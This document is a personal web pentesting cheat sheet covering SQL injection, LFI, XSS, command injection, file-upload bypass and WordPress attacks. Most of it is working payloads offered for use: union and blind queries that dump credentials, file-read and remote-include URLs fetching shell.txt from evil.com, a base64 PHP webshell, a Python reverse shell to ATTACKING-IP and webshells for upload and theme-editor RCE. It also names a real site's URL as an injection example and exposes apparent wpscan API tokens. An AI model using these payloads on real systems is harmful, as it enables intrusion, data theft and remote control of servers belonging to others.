Website Ethical Hacking

**** How website work:**

Html	> Just Create Web Cintent
Css	> Designing Web Content
JavaScript	> Dynamic and Interactive
PHP	> Server side of web Application and Dynamic
SQL	> Database Query

** Domain > TLD[Top level Domain], SLD [Secend Level Domain]

TLD :
1.gTLD > .com,.org,.edu
2.ccTLD > .bd,.in.pak

python3 -m http.server 1234 > **for create a server**

Protocol > http, https, ftp, ssh, dns, telnet

Http Methods:
GET : The GET method requests a representation of the specified resource. Requests using GET should only retrieve data.
HEAD : The HEAD method asks for a response identical to a GET request, but without the response body.
POST : The POST method submits an entity to the specified resource, often causing a change in state or side effects on the server.
PUT : The PUT method replaces all current representations of the target resource with the request payload.
DELETE : The DELETE method deletes the specified resource.
CONNECT : The CONNECT method establishes a tunnel to the server identified by the target resource.
OPTIONS : The OPTIONS method describes the communication options for the target resource.
TRACE : The TRACE method performs a message loop-back test along the path to the target resource.
PATCH : The PATCH method applies partial modifications to a resource.

Status Code:

1xx: Informational provides information about a request in progress.
2xx: Successful indicates that the request was received and accepted.
3xx: Redirection indicates that the request has to be redirected.
4xx: Client Error indicates that an error has occurred on the client.
5xx: Server Error indicates that an error has occurred on the server.

200 (OK)
301 (Moved Permanently)
401 (Unauthorized)
403 (Forbidden)
404 (Not Found)
408 (Request Timeout)
429 (Too Many Requests)
500 (Internal Server Error)
502 (Bad Gateway)
504 (Gateway Timeout)

cookies: Cookies are small files of information that a web server generates and sends to a web browser. Web browsers store the cookies they receive for a predetermined period of time, or for the length of a user's session on a website. They attach the relevant cookies to any future requests the user makes of the web server.

SQL Injection A to Z:

* What is Sqli
* Types of Sqli
* Union based Sqli
* Error Based Sqli
* Blind Sql injection (Boolean based and Time based)
* Out of band Sql injection
* File read using SQLi
* Webshell Uploading about Sqli
* SqlMap

SQL: Structured Query Language is a domain-specific language used in programming and designed for managing data held in a relational database management system, or for stream processing in a relational data stream management system.

SQLI: SQL injection attacks are a type of injection attack in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

Types of SQLI:

1. **in-Band SQLI:** Error Based, Union Based
2. **Out of Band**
3. **Inferential:** Boolean Based, Time Based

Subverting Query Logic/Authentication Bypass:::

* Login Page
* True Statement (or 1=1)
* Example

```
        ' or '1'='1
        ' or '1'='1'
        ' or '1'='1 -- -
        ' or '1'='1#
```

For More : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Bug Bounty Tips

This is how to find sql-Injection 100% of the time

```
/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||'   <== concat string
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or''='
/?q=")
/?q=')
/?q=-x()
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1-
```

waf bypass sql injection::

* Double URL encoding
* Converting Hash
* Use Comment
* use Parenthesis
* Simple characters
* No Comma
* No Equal
* Case Modification

In-Band SQL Injection:::

* **Error based:** Get the PHP or SQL errors in the front end
* **Union Based:** Get Fixed Column number and Uses Union Query to get database Information

Error based SQL Injection::
* Use given Below Payload

' = %27
" = %22
; = %3B
) = %29

* if we get sql error, there has error based SQL Injction
* Use sqlmap for Automatic SQL Injection Pen-Testing/Manual Testing

Union based SQL Injection:::

How to Identify union based SQL Injection:
* Combine data into single output
* data types of the selected columns should be the same
* Column number should be the same

Method:

* Find out actual column number using order by / order by -- - operation
* use actual column number with union operation
    example :: ' union select 1,2,3-- -
* check which column number show in your target website

database(), user(),

Step 1: Schema/Database check:: ' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
Step 2: Tables check:: ' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
    [Here , dev is database name which will replace to your target database name]
Step3: Columns check:: ' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
    [Here , credentials is table name whick will replace to your target table name]
Step4: Dum Data from table: ' UNION select 1, username, password, 4 from dev.credentials-- -
    [Where username and password are column name , dev is database name , credentials is table name]

For More:: https://github.com/cyberteach360/sql-injection

read sensitive files content using SQL injection:::

Step 1: Privilege Check

```
SELECT CURRENT_USER()
' UNION SELECT 1,current_user(), 3, 4-- -
```

Step 2:Load File

```
SELECT LOAD_FILE('/etc/passwd');
' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -
' UNION SELECT 1, LOAD_FILE("/var/www/html/config.php"), 3, 4-- -
```

table_schema means database

Boolean Based SQL Injection ::

Step 1: Find out actual column number:

```
1.admin123' UNION SELECT 1;--
2.admin123' UNION SELECT 1,2,3;--
```

if response is true till 1,2,3 but flase in 1,2,3,4 ,the target column number is 3

Step 2: Find out database name:

```
admin123' UNION SELECT 1,2,3 where database() like 's%';--
```

Sequentially change the character and check the respons is true or flase suppose we got the database name :sqli_three

Step 3: Find out table name:

```
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--
```

Sequentially change the character and check the respons is true or flase suppose we got the table name :users

Step 4: Find out Column name:
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';
After,sequentially Repeating this process you will get column name. suppose, the column name username and another is password

Step 5: Find out username column value
admin123' UNION SELECT 1,2,3 from users where username like 'a%
After,sequentially Repeating this process you will get column username value and this is:admin.

Step 6: Find out password column value
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

Time Base SQL Injection ::

admin123' UNION SELECT SLEEP(5);--

Step 1: Find out actual column number

admin123' UNION SELECT SLEEP(5);--
If there was no pause in the response time, we know that the query was unsuccessful, so like on previous tasks, we add another column: admin123' UNION SELECT SLEEP(5),2;--
if again no pause in the response time , increase column number like: admin123' UNION SELECT SLEEP(5),2,3;--

Step 2: Find out dabase name

admin123' UNION SELECT SLEEP(5),2,3 where database() like 'u%';--

Step 3: Find out table name

admin123' UNION SELECT SLEEp(5),2,3 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name like 'a%';--

Here table name:users

Step4: Find out Column name

admin123' UNION SELECT SLEEP(5),2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_four' and TABLE_NAME='users' and COLUMN_NAME like 'a%';

Step5: Findout Column value

admin123' UNION SELECT SLEEP(5),2,3 from users where username like 'a%

* https://www.heritageaviation.in/news.php?id=1
* https://www.heritageaviation.in/news.php?id=1'
* https://www.heritageaviation.in/news.php?id=1'-- -
* https://www.heritageaviation.in/news.php?id=1' order by 10-- - [Try to find inject table number]
* union based > union statement > Union All Select [You find some number that inject the malicious codes]
* union based > database > database name one shot
* union based > table > table name one shot
* union based > columns > column name one shot
* union based > data > data in one shot

Link : https://github.com/cyberteach360/sql-injection

LFI::

Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server.

Common LFI Payloads::

> URL Encoding
http://localhost/index.php?page=files.php
http://localhost/index.php?page=../../../../../../etc/passwd
http://localhost/index.php?page=http://google.com/
http://localhost/index.php?page=http://someevilhost.com/test.php
http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat/etc/passwd
http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

```
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
http://example.com/index.php?page=zip://shell.jpg%23payload.php
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls
```

```
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=../../../etc/passwd%00
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://example.com/index.php?page=../../../etc/passwd...........[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
```

http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log

For More : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

XSS::

* What is XSS attack
* Type of XSS Attack
* Reason of XSS attack
* Stored XSS with practical Demonstration
* Reflected XSS with Practical Demostration

What is Xss Attack:

Cross site Scripting(XSS) is a type of injection attack in which a thread actor inserts data, such as a malicious script into content from trusted websites. the malicious code is then included with dynamic content delivered to a victim's browser

```
<script>alert('Hello Who are you')</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(document.domain)>
';alert('THM')//
" onload="alert('FUCK');
```

https://github.com/T1M3-30M3/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings

Type of XSS::

* Reflected XSS(RXSS)
* Stored XSS(SXSS)
* Dom based XSS(DBXSS)

Stored XSS Attack:
* Persistent XSS
* It Occurs when user input is stored on the backend batabase and then displayed upon retrieval
Example: Posts or comments , user profile information , website listing etc

Reflected XSS Attack:

* Non Persistent XSS
* It occurs when user input in displayed on the page after being processed by the backend server but without being stored
* EXample: Search result or error message
* SomeTime HTTP headers, url file path, parameter in the url query string

```
';alert('THM')//
" onload="alert('FUCK');
```

OS Injection::

* SQLI (SQL Injection)
* OSI (Operating System Injection)
* SSTI (Server site Template Injection)
* XSSI (XSS Injection)

OS Command Injection:: It is server side web vulnerabilities where attacker execute "System commannd" like id, whoami, uname etc or command

When OS Command Injection Occur?
OS Command Injection occurs when server-side code (PHP Based)in a web application makes a system call on the hosting machine

Type OS Command::

* Blind OS Command Injection
* Active OS command Injection

Blind OS Command Injection occurs when the system command made to the server does not return the response to the user in the html document.
Active OS command Injection occurs when the system command made to the server does return the response to the user in the html document.

Payload ::

```
;id
&ls
|ls
\nid\\n
;system('cat/etc/passwd')
;system('cat%20/etc/passwd')
?cmd={payload}
?exec={command}
?command={command}
?execute{command}
?ping={command}
?query={command}
?jump={command}
?code={command}
```

normally: ; & && |or|

https://github.com/commixproject/commix
https://github.com/payloadbox/command-injection-payload-list
https://github.com/swisskyrepo/PayloadsAllTheThings
https://highon.coffee/blog/reverse-shell-cheat-sheet/

Broken Authentication::
1. Season Management
2. Credential Management

Cookies Hampering Process::
1. Using Cookie Editor
2. Storage Cookies

Credentital Breaking
1. Brute Force Attack
2. Authentication Process

https://github.com/danielmiessler/SecLists

File Upload Vulnerabilities:::

File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size.

impact:
* Well-shell Upload
* Reverse Shell Upload
* Remotly Control
* Security Loss
* Financial Loss

*** Information Gathering::**

  ** Server version and Name
  ** Which Shell
  ** Limitations
  ** Web shell or Reverse shell
  ** Allows Extention

process: first of all uplaod a file and then bruteforce directory with dirsearch or simillar tools. then execute it

payload : `<?php system($_GET['cmd']); ?>`
execute : /uploads/shell.php?cmd=

*** FIltering:**

** Client-side Filtering
** Server-side FIltering
** BlackList Filtering
** Whitelist Filtering
** Limited File Filtering

**** Client-side Filtering**

step 01 : Check Source Code Properly
step 02 : Delete Filtering Code
step 03 : Upload File and call uploaded file from uploaded directory

or
step 01 : Intercept Code using Burp Suite [Response intercept]
step 02 : Delete .js file and Forward
step 03 : Uplaod file and call the file uplaoded from uploaded Directory

Server-side Filtering:

* Extentions Filtering
* MIME-Type Filtering
* Content-Type Filtering
* File length Filtering

Extention Filtering:

*** Black List :** php, pthm,php3 etc
*** White List :** png,jpg,pdf etc

Extention FIltering Bypass::

Step 01 : Intercept the request using burp suite
step 02 : Brute Force the extentions using burp intruder
step 03 : Upload dhyell using perfect extention
step 04 : call uploaded file from upload perfect directory

https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/extensions-most-common.fuzz.txt

Content Type FIltering:

image/jpg, image/png, text/css, application/x-php
https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
https://en.wikipedia.org/wiki/List_of_file_signatures

MIME-Type Filtering: It is a n internet standard that determines the type of a file through its genaral format and bytes structure

Step 01 : Intercept code and check allow extentions
step 02 : Collect allow extention magic bytes
step 03 : add allow extention magic byte with web shell

Note :: 1st find that what extention are allow and then go to list of file signature and find those extention and copy the magic bytes and paste to the head **of the file like ::** GIF87a <?php system($_REQUEST['cmd']); ?>

Wordpress Pen-Testing::

* Basic Information aabout Wordpress Website
* Wordpress Structure
* Wordpress User Roles
* Wordpress Website Recon
* Wordpress Website Automation Enumeration + Manual
* Wordpress website Vulnerability Checking
* Attack Wordpress Website
* Attack Wordpress Website Using Metasploit
* RCE using the theme Editor

Wordpress Structure:: tree -L 1 /var/www/html

```
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php
```

Default Login Path ::

```
├──/wp-admin/login.php
├──/wp-admin/wp-login.php
├──/login.php
├──/wp-login.php
```

WP-Content ::

```
├── index.php
├── plugins
└── themes
```

WP-Includes ::

```
├── theme.php
├── update.php
├── user.php
├── vars.php
├── version.php
├── widgets
├── widgets.php
├── wlwmanifest.xml
├── wp-db.php
└── wp-diff.php
```

Wordpress Version Check :

```
curl -s -X GET http://blog.inlanefreight.com | grep '<meta name="generator"'
```

Plugins :

```
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
```

Themes Enumeration :

```
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
```

User Enumeration:

```
curl http://blog.inlanefreight.com/wp-json/wp/v2/users
```

```
wpscan --url http://10.129.2.37/ --enumerate --api-token cs0QRHwsYE6RvLd6SaHDhI1dmNX8ZVLEx0Fb7mNid9s
wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url http://blog.inlanefreight.com
wpscan --url www.abc.xyz -e u --api-token gUL4y18pes98Ma0uGlvUVggsda3a0n6OOyhsyK3ox94
wpscan --url www.abc.xyz --usernames admin --passwords /home/kali/Desktop/rockyou.txt
```

For RCE :: Theme > 404 Template

```
<?php system($_GET['cmd']); ?>
/wp-content/themes/themes_name/404.php?cmd=
```

Prepared By : [Zaber Mahmud]()

Website Ethical Hacking and Pentesting

Recon: Reconnaissance is the practice of covertly discovering and collating information about a system. In other words, recon is the process of obtaining information about the position, activities, resources, etc.

Active reconnaissance is a type of computer attack in which an intruder engages with the targeted system to gather information about vulnerabilities. This may be through automated scanning or manual testing using various tools like ping, traceroute, netcat, etc. This type of recon requires that the attacker interact with the target. This recon is raster and more accurate, but it also makes much more noise.

Passive reconnaissance is an attempt to gain information about targeted computers and networks by actively engaging with the systems. It is gathering the information without alerting the victim host, which drastically increases security against the attack.

What kind of Information we are need:

Network Information

* Ip Address
* Domain names
* services
* VPN/IDS/IPS/Firewall Information

Operating System Information

* user/group name
* Service Information
* System Architecture
* System Type

Public Network

* Network
* Phone<email
* DNS, WhoIs
* Social Network, Dorking, Social Media
* Archive Machine, Website, Source Code, Site Map

Internal network

* Private Ip Address, Local Website , Internal DNS

Website:

* Look at the website carefully
* Look at the sitemap
* find external link
* look at the source code
* Mirror te website(wget)
* Try to find old link(Archive.org)
* If not found any contact number or any personal Information then whois

waybackurls <link> for showing all previous and present links
inurl:php.id==? site:.in for finding website
https://who.is/ for whois Information
https://ipinfo.info/ for knowing the ip
phoneinfoga scan -p "phone number"
python3 ghunt.py gmail "abc@xyz"
https://dnsdumpster.com/
https://subdomainfinder.c99.nl/
https://osint.sh/subdomain/
https://bgp.he.net/
https://search.censys.io/
python3 linkfinder.py -i <link>
arjun -u <link>

https://github.com/smicallef/spiderfoot
https://github.com/kennbroorg/iKy
https://github.com/owasp-amass/amass
https://github.com/JehadAlqurashi/BlackDir-Framework

```
amass intel -orrg att
```

Subdomain Enumeration:

https://subdomainfinder.c99.nl/
https://osint.sh/subdomain/
https://hackertarget.com/find-dns-host-records/
https://crt.sh/
https://github.com/aboul3la/Sublist3r
https://github.com/owasp-amass/amass
https://github.com/projectdiscovery/subfinder
https://github.com/guelfoweb/knock
https://github.com/TheRook/subbrute
https://github.com/michenriksen/aquatone
https://github.com/Findomain/Findomain
https://github.com/lanmaster53/recon-ng
https://github.com/nsonaniya2010/SubDomainizer
https://github.com/infosec-au/altdns
https://github.com/tomnomnom/assetfinder

```
assetfinder google.com | httpx -status-code -title
sublit3r -d google.com -b
amass enum -passive -d google.com
```

Os Command Injection::

payload:

```
;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

; itis must

ATTACKING-IP,80 >> your ip,your port

Trigger:: nc -lvnp port

Cheatsheet:: https://highon.coffee/blog/reverse-shell-cheat-sheet/

This is Blind Os Command Injection and also RCE

LFI : This vulnerability arises when the user controllable input is being used to include a file from the server without proper check

in php :
include(),include_onece(),require_once() and sometimes fopen() function are responsible for LFI Vulnerability

Code Example:

POST based LFI:
```
<?
$page=$_POST['page'];
include $page;
?>
```

GET based LFI:
```
<?
$page=$_GET['page'];
include $page;
?>
```

Parameter:: file, document, folder, root, path, page, style, pdf, template, php_pah, doc

IDOR:

* Insecure Direct Object Reference
* Change value of Parameter

Exaample:

https://example.com/bank?account_number=1234

Some Bug Bounty TIPS:

Find blind XSS endpoints

1. Visit your email client like Gmail etc.
2. Search for Unsubscribe/feedback/Manage preferences.
3. Click on Unsubscribe and put BXSS payload if they ask for any feedback

Google Dork To Open Redirect

site:*.target.com inurl:%2f

%2f Is the URL encoding for /

I found lot bugs using this dorks in github

"Target.com" language:yml

"Target. com" language:yml "_key"

"Target. com" language:yml "admin"

"Target. com" language:yml "root"

"Target. com" language:yml "host"

Xss Dorks By SoulCoder
----
inurl:".php?cmd="
inurl:".php?z="
inurl:".php?q="
inurl:".php?search="
inurl:".php?query="
inurl:".php?searchstring="
inurl:".php?keyword="
inurl:".php?file="
inurl:".php?years="
inurl:".php?txt="
inurl:".php?tag="
inurl:".php?max="
inurl:".php?from="
inurl:".php?author="
inurl:".php?pass="
inurl:".php?feedback="
inurl:".php?mail="
inurl:".php?cat="
inurl:".php?vote="
inurl:search.php?q=
inurl:com_feedpostold/feedpost.php?url=
inurl:scrapbook.php?id=
inurl:headersearch.php?sid=
inurl:/poll/default.asp?catid=
inurl:/search_results.php?search=

Bug Bounty TipsThis is how to find sql-Injection 100% of the time

```
/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\
/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'⠟⠞⠺⠺⠺'   <== concat string
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or''='
/?q=")
/?q=')
/?q=-x()
```

🔥Best Info Researcher for OSINT🔥
https://github.com/jivoi/awesome-osint
https://github.com/tracelabs/awesome-osint
https://awesomeopensource.com/projects/osint
https://osint.link/
https://github.com/priyankvadaliya/AwsomeOSINT
https://osintframework.com/
https://www.toddington.com/resources/free-osint-resources-open-source-intelligence-search-tools-research-tools-online-investigation/
https://gijn.org/online-research-tools/
https://www.osinttechniques.com/osint-tools.html
https://iamciso.wordpress.com/osint/tools/
https://rr.reuser.biz/
https://www.symbaloo.com/mix/osintsearchtools

Bug Bounty Beginner's Roadmap

This is a resource factory for anyone looking forward to starting bug hunting and would require guidance as a beginner. : https://github.com/bittentech/Bug-Bounty-Beginner-Roadmap

I found lot bugs using this dorks in github

"Target.com" language:yml
"Target. com" language:yml "_key"
"Target. com" language:yml "admin"
"Target. com" language:yml "root"
"Target. com" language:yml "host"

Some Wordpress Important Directory:

/wp-json/wp/v2/users
/wp/wp-admin/install.php
/wp/wp-admin/upgrade.php
/wp-admin/install.php
/wp-admin/install.php

Prepared By : Zaber Mahmud